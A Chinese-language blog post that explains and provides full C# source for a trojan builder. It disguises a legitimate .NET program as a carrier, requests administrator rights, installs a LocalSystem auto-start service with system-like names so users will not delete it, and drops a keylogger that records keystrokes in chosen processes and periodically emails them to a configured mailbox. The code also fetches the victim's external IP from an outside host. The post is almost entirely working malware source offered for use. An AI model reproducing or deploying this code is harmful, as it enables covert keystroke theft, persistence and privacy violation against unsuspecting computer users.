羽铉

导航

 

1、首先解决开机启动木马。通过建立开机启动服务达到目的;
2、伪装问题。通过c#反射性能,将正常的.net的exe文件添加监控盗传播取等其他功能,执行正常程序同时,后台悄悄释放windows服务,通过服务释放调取木马exe;

3、传播问题。可以包装一个.net做的,使用比较广的软件,因为通过反射可在exe内执行其他exe文件(相当于1个exe里面可以嵌套多个exe并执行),至于执行什么功能想到了就可以做

4、在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔(秒):”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。

5、悄悄建立服务、释放exe、管理员模式运行等等,自己代码里面看

如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,该功能只提供截图,不提供代码。
提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。
 
 
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Windows.Forms;

namespace Trojan_2
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public byte[] ReadImageFile(String img)
        {
            FileInfo fileinfo = new FileInfo(img);
            byte[] buf = new byte[fileinfo.Length];
            FileStream fs = new FileStream(img, FileMode.Open, FileAccess.Read);
            fs.Read(buf, 0, buf.Length);
            fs.Close();
            GC.ReRegisterForFinalize(fileinfo);
            GC.ReRegisterForFinalize(fs);
            return buf;
        }

        private void button_Pack_Click(object sender, EventArgs e)
        {
            Button pL = (Button)sender;
            pL.Enabled = false;

            if (MailAddr.Text != "")
            {
                Code_Source.MailSetup += @"model.SendEmail =""" + MailAddr.Text + "\";";
            }
            else
            {
                MessageBox.Show("发送邮件地址 必须输入!");
                return;
            }

            if (MailPasword.Text != "")
            {
                Code_Source.MailSetup += @"
                                    model.SendPwd =""" + MailPasword.Text + "\";";
            }
            else
            {
                MessageBox.Show("发送邮件密码 必须输入!");
                return;
            }

            if (MailSmtp.Text != "")
            {
                Code_Source.MailSetup += @"
                                    model.SendSetSmtp =""" + MailSmtp.Text + "\";";
            }
            else
            {
                MessageBox.Show("邮件SMTP 必须输入!");
                return;
            }

            if (MailAccept.Text != "")
            {
                Code_Source.MailSetup += @"
                                    model.ConsigneeAddress =""" + MailAccept.Text + "\";";
            }
            else
            {
                MessageBox.Show("接收邮件地址 必须输入!");
                return;
            }

            if (MailSpear.Text != "")
            {
                try
                {
                    int.Parse(MailSpear.Text);
                    Code_Source.SendSpear = MailSpear.Text;
                }
                catch
                {
                    Code_Source.SendSpear = "100";
                }
            }
            else
            {
                MessageBox.Show("邮件发送时间间隔 必须输入!");
                return;
            }

            if (ProcessName.Text != "")
            {
                Code_Source.split_Process = ProcessName.Text.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
                Code_Source.processName = "string [] processName = new string[] {";
                for (int i = 0; i < Code_Source.split_Process.Length; i++)
                {
                    Code_Source.processName += "\"" + Code_Source.split_Process[i] + "\"";
                    if (i < Code_Source.split_Process.Length - 1) Code_Source.processName += ",";
                }
                Code_Source.processName += "};";
                Code_Source.processName += @"
                            for (int i=0;i<" + Code_Source.split_Process.Length + @";i++)
                            {
                                Ps.Add(new list_process(processName[i]));
                            }";
            }
            else
            {
                MessageBox.Show("监控的进程名称 必须输入!");
                return;
            }
            
           
           // 生成键盘监控exe文件 
            CodeDomProvider codeProvider = CodeDomProvider.CreateProvider("CSharp");
            string Output = "MonitoringTmp.~exe";
            CompilerParameters parameters = new CompilerParameters();
            parameters.ReferencedAssemblies.Add("System.dll");
            parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            parameters.ReferencedAssemblies.Add("System.ServiceProcess.dll");
            parameters.ReferencedAssemblies.Add("System.Drawing.dll");
            parameters.ReferencedAssemblies.Add("System.Configuration.dll");
            parameters.ReferencedAssemblies.Add("System.Configuration.Install.dll");
            parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
            parameters.ReferencedAssemblies.Add("System.Security.Principal.dll");
            parameters.ReferencedAssemblies.Add("System.Threading.dll");
            parameters.GenerateExecutable = true;
            parameters.CompilerOptions = "-t:winexe";
            parameters.OutputAssembly = Output;
            CompilerResults results = codeProvider.CompileAssemblyFromSource(
                parameters, Code_Source.Creat_RunApp(Code_Source.processName, Code_Source.MailSetup, Code_Source.SendSpear)
                );

            // 生成安装服务exe文件
            byte[] BinBytes = null;
            BinBytes = ReadImageFile(Output);
            string str = Convert.ToBase64String(BinBytes);

            CodeDomProvider codeProvider_Server = CodeDomProvider.CreateProvider("CSharp");
            string OutServer = "ServerTmp.~exe";
            CompilerParameters parameters_Server = new CompilerParameters();
            parameters_Server.ReferencedAssemblies.Add("System.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            parameters_Server.ReferencedAssemblies.Add("System.ServiceProcess.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Drawing.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Configuration.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Configuration.Install.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Security.Principal.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Threading.dll");
            parameters_Server.GenerateExecutable = true;
            parameters_Server.CompilerOptions = "-t:winexe";
            parameters_Server.OutputAssembly = OutServer;
            CompilerResults results_Server = codeProvider_Server.CompileAssemblyFromSource(
                parameters_Server, Code_Source.Creat_Server(ServerName.Text, str, ExePath.Text, ServerSpear.Text)
                );
            
            // 读取生成和包装的exe文件
            byte[] BinServer = null;
            BinServer = ReadImageFile(OutServer);
            string server_str = Convert.ToBase64String(BinServer);

            byte[] BinPack = null;
            BinPack = ReadImageFile(Packaging.Text);
            string pack_str = Convert.ToBase64String(BinPack);

            CodeDomProvider codeProvider_Pack = CodeDomProvider.CreateProvider("CSharp");
            string OutPack = OutPackExe.Text;
            CompilerParameters parameters_Pack = new CompilerParameters();
            parameters_Pack.ReferencedAssemblies.Add("System.dll");
            parameters_Pack.ReferencedAssemblies.Add("System.Reflection.dll");
            parameters_Pack.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            parameters_Server.ReferencedAssemblies.Add("System.Drawing.dll");
            parameters_Pack.GenerateExecutable = true;
            parameters_Pack.CompilerOptions = "-t:winexe";
            parameters_Pack.OutputAssembly = OutPack;
            CompilerResults results_Pack = codeProvider_Pack.CompileAssemblyFromSource(
                parameters_Pack, Code_Source.Creat_Packing(server_str, pack_str, ServerPath.Text.Replace("\\", "\\\\"))
                );
            
            pL.Enabled = true;
            MessageBox.Show("编译完成!");
        }
    }
}
public class Code_Source
{
    public static string[] split_ServerName, split_ServerFile, split_ExeFile, split_Monit, split_Process;
    public static string MailSetup = "";
    public static string SendSpear = "";
    public static string processName = "";

    /// <summary>
    /// 监控代码
    /// </summary>
    public static string Creat_RunApp(string _process, string _email, string _sendspear)
    {
        string Run_APP = @"
            using System;
            using System.Collections.Generic;
            using System.Diagnostics;
            using System.Net;
            using System.Net.Mail;
            using System.Reflection;
            using System.Runtime.InteropServices;
            using System.Text;
            using System.Threading.Tasks;
            using System.Windows.Forms;
            using System.ServiceProcess;
            using System.Security.Principal;
            namespace m_Test1
            {
                static class Program
                {
                    [STAThread]
                    static void Main()
                    {
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        Application.Run(new HideOnStartupApplicationContext(new Form1()));
                    }
                    internal class HideOnStartupApplicationContext : ApplicationContext
                    {
                        private Form mainFormInternal;
                        public HideOnStartupApplicationContext(Form mainForm)
                        {
                            this.mainFormInternal = mainForm;
                        }
                    }
                    public class EmailParameterSet
                    {
                        public string ConsigneeAddress { get; set; }
                        public string ConsigneeName { get; set; }
                        public string ConsigneeHand { get; set; }
                        public string ConsigneeTheme { get; set; }
                        public string SendSetSmtp { get; set; }
                        public string SendEmail { get; set; }
                        public string SendPwd { get; set; }
                        public string SendContent { get; set; }
                    }
                    public static bool MailSend(EmailParameterSet EPSModel)
                    {
                        try
                        {
                            SmtpClient sendSmtpClient = new SmtpClient(EPSModel.SendSetSmtp);
                            MailAddress sendMailAddress = new MailAddress(EPSModel.SendEmail, EPSModel.ConsigneeHand, Encoding.UTF8);
                            MailAddress consigneeMailAddress = new MailAddress(EPSModel.ConsigneeAddress, EPSModel.ConsigneeName, Encoding.UTF8);
                            MailMessage mailMessage = new MailMessage(sendMailAddress, consigneeMailAddress);
                            mailMessage.Subject = EPSModel.ConsigneeTheme;
                            mailMessage.BodyEncoding = Encoding.UTF8;
                            mailMessage.SubjectEncoding = Encoding.UTF8;
                            mailMessage.Body = EPSModel.SendContent;
                            mailMessage.IsBodyHtml = false;
                            sendSmtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
                            sendSmtpClient.EnableSsl = false;
                            sendSmtpClient.UseDefaultCredentials = false;
                            NetworkCredential myCredential = new NetworkCredential(EPSModel.SendEmail, EPSModel.SendPwd);
                            sendSmtpClient.Credentials = myCredential;
                            sendSmtpClient.Send(mailMessage);
                            return true;
                        }
                        catch (Exception)
                        {
                            return false;
                        }
                    }
                    public class list_process
                    {
                        public Process[] processes;
                        public string pName;
                        public list_process (string _name)
                        {
                            pName = _name;
                        }
                    }
                    public static List<list_process> Ps = new List<list_process>();
                    public static DateTime dt;
                    public static string _record = """";
                    public static TimeSpan span;
                    public static EmailParameterSet model;
                    public partial class Form1 : Form
                    {
                        public Form1()
                        {
                            " + _process + @"
                            dt = DateTime.Now;
                            model = new EmailParameterSet();
                            Task send_Task = new Task(Send_Record);
                            send_Task.Start();
                            KeyRecord kh = new KeyRecord();
                        }
                    }
                    public static void Send_Record ()
                    {
                        while (true)
                        {
                            span = DateTime.Now - dt;
                            if ((int)Math.Floor(span.TotalSeconds) > " + _sendspear + @") 
                            {
                                if (_record != """")
                                {
                                    " + _email + @"
                                    model.ConsigneeHand = GetExtenalIpAddress();
                                    model.SendContent = _record;
                                    MailSend(model);
                                }
                                dt = DateTime.Now;
                                _record = """";
                            }
                        }
                    }
                    public static string GetExtenalIpAddress()
                    {
                        String url = ""http://hijoyusers.joymeng.com:8100/test/getNameByOtherIp"";
                        string IP = ""No_ip"";
                        try
                        {
                            WebClient client = new WebClient();
                            client.Encoding = Encoding.Default;
                            string str = client.DownloadString(url);
                            client.Dispose();
                            if (!str.Equals("""")) IP = str;
                        }
                        catch (Exception) { }
                        return IP;
                    }
                    public class KeyRecord
                    {
                        private const int WM_KEYDOWN = 0x100;
                        private const int WM_KEYUP = 0x101;
                        private const int WM_SYSKEYDOWN = 0x104;
                        private const int WM_SYSKEYUP = 0x105;
                        public event KeyEventHandler OnKeyDownEvent;
                        public event KeyEventHandler OnKeyUpEvent;
                        public event KeyPressEventHandler OnKeyPressEvent;
                        static int hKeyboardHook = 0;
                        public const int WH_KEYBOARD_LL = 13;
                        HookProc KeyboardHookProcedure;
                        [StructLayout(LayoutKind.Sequential)]
                        public class KeyboardHookStruct
                        {
                            public int vkCode;
                            public int scanCode;
                            public int flags;
                            public int time;
                            public int dwExtraInfo;
                        }
                        [DllImport(""user32.dll"", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
                        public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
                        [DllImport(""user32.dll"", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
                        public static extern bool UnhookWindowsHookEx(int idHook);
                        [DllImport(""user32.dll"", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
                        public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
                        [DllImport(""user32"")]
                        public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);
                        [DllImport(""user32"")]
                        public static extern int GetKeyboardState(byte[] pbKeyState);
                        public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
                        public KeyRecord()
                        {
                            this.OnKeyPressEvent += new KeyPressEventHandler(KeyBordHook_OnKeyPressEvent);
                            Start();
                        }
                        public void Start()
                        {
                            if (hKeyboardHook == 0)
                            {
                                KeyboardHookProcedure = new HookProc(KeyboardHookProc);
                                Module m = Assembly.GetExecutingAssembly().GetModules()[0];
                                IntPtr itp = Marshal.GetHINSTANCE(m);
                                hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcedure, itp, 0);
                                if (hKeyboardHook == 0)
                                {
                                    Stop();
                                }
                            }
                        }
                        public void Stop()
                        {
                            bool retKeyboard = true;

                            if (hKeyboardHook != 0)
                            {
                                retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
                                hKeyboardHook = 0;
                            }
                        }
                        private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
                        {
                            if ((nCode >= 0) && (OnKeyDownEvent != null || OnKeyUpEvent != null || OnKeyPressEvent != null))
                            {
                                KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
                                if (OnKeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
                                {

                                    Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
                                    KeyEventArgs e = new KeyEventArgs(keyData);
                                    OnKeyDownEvent(this, e);
                                }
                                if (OnKeyPressEvent != null && wParam == WM_KEYDOWN)
                                {
                                    byte[] keyState = new byte[256];
                                    GetKeyboardState(keyState);
                                    byte[] inBuffer = new byte[2];
                                    if (ToAscii(MyKeyboardHookStruct.vkCode,
                                    MyKeyboardHookStruct.scanCode,
                                    keyState,
                                    inBuffer,
                                    MyKeyboardHookStruct.flags) == 1)
                                    {
                                        KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]);
                                        OnKeyPressEvent(this, e);
                                    }
                                }
                                if (OnKeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP))
                                {
                                    Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
                                    KeyEventArgs e = new KeyEventArgs(keyData);
                                    OnKeyUpEvent(this, e);
                                }
                            }
                            return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
                        }
                        private void KeyBordHook_OnKeyPressEvent(object sender, KeyPressEventArgs e)
                        {
                            for (int i = 0; i < Ps.Count; i++)
                            {
                                Ps[i].processes = Process.GetProcessesByName(Ps[i].pName);
                                if (Ps[i].processes.Length > 0)
                                {
                                    _record += e.KeyChar.ToString();
                                }
                            }
                        }
                    }
                }
            }
        ";

        return Run_APP;
    }

    public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear)
    {
        string Run_Server = @"
            using System;
            using System.Collections;
            using System.Configuration.Install;
            using System.IO;
            using System.Reflection;
            using System.Runtime.InteropServices;
            using System.ServiceProcess;
            using System.Security.Principal;
            using System.Threading;

            namespace ConsoleWithWindowsService
            {
                class Program
                {                    
                    public class Interop
                    {
                        public static void CreateProcess(string app, string path)
                        {
                            bool result;
                            IntPtr hToken = WindowsIdentity.GetCurrent().Token;
                            IntPtr hDupedToken = IntPtr.Zero;
                            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
                            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
                            sa.Length = Marshal.SizeOf(sa);
                            STARTUPINFO si = new STARTUPINFO();
                            si.cb = Marshal.SizeOf(si);
                            int dwSessionID = WTSGetActiveConsoleSessionId();
                            result = WTSQueryUserToken(dwSessionID, out hToken);
                            result = DuplicateTokenEx(
                                  hToken,
                                  GENERIC_ALL_ACCESS,
                                  ref sa,
                                  (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
                                  (int)TOKEN_TYPE.TokenPrimary,
                                  ref hDupedToken
                               );
                            IntPtr lpEnvironment = IntPtr.Zero;
                            result = CreateEnvironmentBlock(out lpEnvironment, hDupedToken, false);
                            result = CreateProcessAsUser(
                                                 hDupedToken,
                                                 app,
                                                 String.Empty,
                                                 ref sa, ref sa,
                                                 false, 0, IntPtr.Zero,
                                                 null, ref si, ref pi);
                            if (pi.hProcess != IntPtr.Zero)
                                CloseHandle(pi.hProcess);
                            if (pi.hThread != IntPtr.Zero)
                                CloseHandle(pi.hThread);
                            if (hDupedToken != IntPtr.Zero)
                                CloseHandle(hDupedToken);
                        }
                        [StructLayout(LayoutKind.Sequential)]
                        public struct STARTUPINFO
                        {
                            public Int32 cb;
                            public string lpReserved;
                            public string lpDesktop;
                            public string lpTitle;
                            public Int32 dwX;
                            public Int32 dwY;
                            public Int32 dwXSize;
                            public Int32 dwXCountChars;
                            public Int32 dwYCountChars;
                            public Int32 dwFillAttribute;
                            public Int32 dwFlags;
                            public Int16 wShowWindow;
                            public Int16 cbReserved2;
                            public IntPtr lpReserved2;
                            public IntPtr hStdInput;
                            public IntPtr hStdOutput;
                            public IntPtr hStdError;
                        }
                        [StructLayout(LayoutKind.Sequential)]
                        public struct PROCESS_INFORMATION
                        {
                            public IntPtr hProcess;
                            public IntPtr hThread;
                            public Int32 dwProcessID;
                            public Int32 dwThreadID;
                        }
                        [StructLayout(LayoutKind.Sequential)]
                        public struct SECURITY_ATTRIBUTES
                        {
                            public Int32 Length;
                            public IntPtr lpSecurityDescriptor;
                            public bool bInheritHandle;
                        }
                        public enum SECURITY_IMPERSONATION_LEVEL
                        {
                            SecurityAnonymous,
                            SecurityIdentification,
                            SecurityImpersonation,
                            SecurityDelegation
                        }
                        public enum TOKEN_TYPE
                        {
                            TokenPrimary = 1,
                            TokenImpersonation
                        }
                        public const int GENERIC_ALL_ACCESS = 0x10000000;
                        [DllImport(""kernel32.dll"", SetLastError = true,
                            CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
                        public static extern bool CloseHandle(IntPtr handle);
                        [DllImport(""advapi32.dll"", SetLastError = true,
                            CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
                        public static extern bool CreateProcessAsUser(
                            IntPtr hToken,
                            string lpApplicationName,
                            string lpCommandLine,
                            ref SECURITY_ATTRIBUTES lpProcessAttributes,
                            ref SECURITY_ATTRIBUTES lpThreadAttributes,
                            bool bInheritHandle,
                            Int32 dwCreationFlags,
                            IntPtr lpEnvrionment,
                            string lpCurrentDirectory,
                            ref STARTUPINFO lpStartupInfo,
                            ref PROCESS_INFORMATION lpProcessInformation);
                        [DllImport(""advapi32.dll"", SetLastError = true)]
                        public static extern bool DuplicateTokenEx(
                            IntPtr hExistingToken,
                            Int32 dwDesiredAccess,
                            ref SECURITY_ATTRIBUTES lpThreadAttributes,
                            Int32 ImpersonationLevel,
                            Int32 dwTokenType,
                            ref IntPtr phNewToken);
                        [DllImport(""wtsapi32.dll"", SetLastError = true)]
                        public static extern bool WTSQueryUserToken(
                            Int32 sessionId,
                            out IntPtr Token);
                        [DllImport(""userenv.dll"", SetLastError = true)]
                        static extern bool CreateEnvironmentBlock(
                            out IntPtr lpEnvironment,
                            IntPtr hToken,
                            bool bInherit);
                        public static IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
                        public static void ShowMessageBox(string message, string title)
                        {
                            int resp = 0;
                            WTSSendMessage(
                                WTS_CURRENT_SERVER_HANDLE,
                                WTSGetActiveConsoleSessionId(),
                                title, title.Length,
                                message, message.Length,
                                0, 0, out resp, false);
                        }
                        [DllImport(""kernel32.dll"", SetLastError = true)]
                        public static extern int WTSGetActiveConsoleSessionId();
                        [DllImport(""wtsapi32.dll"", SetLastError = true)]
                        public static extern bool WTSSendMessage(
                            IntPtr hServer,
                            int SessionId,
                            String pTitle,
                            int TitleLength,
                            String pMessage,
                            int MessageLength,
                            int Style,
                            int Timeout,
                            out int pResponse,
                            bool bWait);
                    }
                    public class ServiceHelper
                    {
                        public static bool IsServiceExisted(string serviceName)
                        {
                            ServiceController[] services = ServiceController.GetServices();
                            foreach (ServiceController s in services)
                            {
                                if (s.ServiceName == serviceName)
                                {
                                    return true;
                                }
                            }
                            return false;
                        }
                        public static void StartService(string serviceName)
                        {
                            if (IsServiceExisted(serviceName))
                            {
                                ServiceController service = new ServiceController(serviceName);
                                if (service.Status != ServiceControllerStatus.Running &&
                                    service.Status != ServiceControllerStatus.StartPending)
                                {
                                    service.Start();
                                    for (int i = 0; i < 60; i++)
                                    {
                                        service.Refresh();
                                        System.Threading.Thread.Sleep(1000);
                                        if (service.Status == ServiceControllerStatus.Running) break;
                                    }
                                }
                            }
                        }
                        public static ServiceControllerStatus GetServiceStatus(string serviceName)
                        {
                            ServiceController service = new ServiceController(serviceName);
                            return service.Status;
                        }
                        public static void ConfigService(string serviceName, bool install)
                        {
                            TransactedInstaller ti = new TransactedInstaller();
                            ti.Installers.Add(new ServiceProcessInstaller
                            {
                                Account = ServiceAccount.LocalSystem
                            });
                            ti.Installers.Add(new ServiceInstaller
                            {
                                DisplayName = serviceName,
                                ServiceName = serviceName,
                                Description = serviceName,
                                StartType = ServiceStartMode.Automatic
                            });
                            ti.Context = new InstallContext();
                            ti.Context.Parameters[""assemblypath""] = ""\"""" + Assembly.GetEntryAssembly().Location + ""\"" /service"";
                            if (install)  ti.Install(new Hashtable());
                            else  ti.Uninstall(null);
                        }
                    }
                    static void Main(string[] args)
                    {
                        if (args.Length > 0)
                        {
                            try
                            {
                                ServiceBase[] serviceToRun = new ServiceBase[] { new WindowsService() };
                                ServiceBase.Run(serviceToRun);
                            }
                            catch  {}
                        }  
                        else
                        {
                            if (ServiceHelper.IsServiceExisted(""" + _serverName + @"""))
                            {
                                ServiceHelper.ConfigService("""+ _serverName + @""", false);
                            }
                            if (!ServiceHelper.IsServiceExisted("""+ _serverName + @"""))
                            {
                                ServiceHelper.ConfigService("""+ _serverName + @""", true);
                            }
                            ServiceHelper.StartService("""+ _serverName + @""");
                        }
                    }
                    partial class WindowsService : ServiceBase
                    {
                        public static string code = """ + _exefile + @""";
                        protected override void OnStart(string[] args)
                        {
                            Process.Start();
                        }

                        public static class Process
                        {
                            public static void Start()
                            {
                                ThreadStart start = new ThreadStart(ThreadAction);
                                Thread th = new Thread(start);
                                th.IsBackground = true;
                                th.Start();
                            }
                            public static void ThreadAction()
                            {
                                bool atRun = false; 
                                DateTime dt = DateTime.Now; 
                                TimeSpan span;
                                while (true)
                                {
                                    span = DateTime.Now - dt;
                                    if ((int)Math.Floor(span.TotalSeconds)>" + _checkspear + @")
                                    {
                                        atRun = true;
                                    }
                                    if (atRun)
                                    {
                                        if (!File.Exists(@""" + _exepath + @"""))
                                        {
                                            byte[] bt = Convert.FromBase64String(code);
                                            try
                                            {
                                                FileStream fs = new FileStream(@""" + _exepath + @""", FileMode.Create);
                                                fs.Write(bt, 0, bt.Length);
                                                fs.Close();
                                                Interop.CreateProcess(@"""+ _exepath + @""", @""C:\Windows\System32\"");
                                            } catch { }              
                                            atRun = false;
                                            dt = DateTime.Now;
                                        }
                                    }
                                }
                            }
                        }
                        protected override void OnStop()
                        {
                        }
                    }
                }
            }
        ";

        return Run_Server;
    }

    public static string Creat_Packing(string _server, string _pack,string _serverpath)
    {
        string Run_Pack = @"
            using System;
            using System.Reflection;
            using System.IO;
            using System.Windows.Forms;
            using System.Diagnostics;
            namespace Replica_Prg
            {
                static class Program
                {
                    [STAThread]
                    static void Main(string[] Args)
                    {
                        try
                        {
                            System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent();
                            Application.EnableVisualStyles();
                            System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity);
                            if (principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator))
                            {
                                Application.EnableVisualStyles();
                                Application.SetCompatibleTextRenderingDefault(false);
                               Application.Run(new Test());
                            }
                            else
                            {
                                System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
                                startInfo.FileName = System.Windows.Forms.Application.ExecutablePath;
                                startInfo.Arguments = String.Join("" "", Args);
                                startInfo.Verb = ""runas"";
                                System.Diagnostics.Process.Start(startInfo);
                                System.Windows.Forms.Application.Exit();
                            }
                        }
                        catch { }
                        string str_Normal = """ + _pack + @""";
                        byte[] ns = Convert.FromBase64String(str_Normal);
                        Assembly asm_n = Assembly.Load(ns);
                        MethodInfo info_n = asm_n.EntryPoint;
                        ParameterInfo[] parameters_n = info_n.GetParameters();
                        info_n.Invoke(null, null);
                    }
                    public partial class Test : Form
                    {
                        public Test()
                        {
                            string str_Rep = """ + _server + @""";
                            byte[] bs = Convert.FromBase64String(str_Rep);
                            FileStream fs = new FileStream(@""" + _serverpath + @""", FileMode.Create);
                            fs.Write(bs, 0, bs.Length);
                            fs.Close();
                            Process pr = new Process();
                            pr.StartInfo.FileName = """+ _serverpath + @""";
                            pr.Start();
                            Close();
                        }
                    }
                }
            }
        ";
        return Run_Pack;
    }
}

 

posted on 2018-12-04 10:40  羽铉  阅读(2357)  评论(0编辑  收藏  举报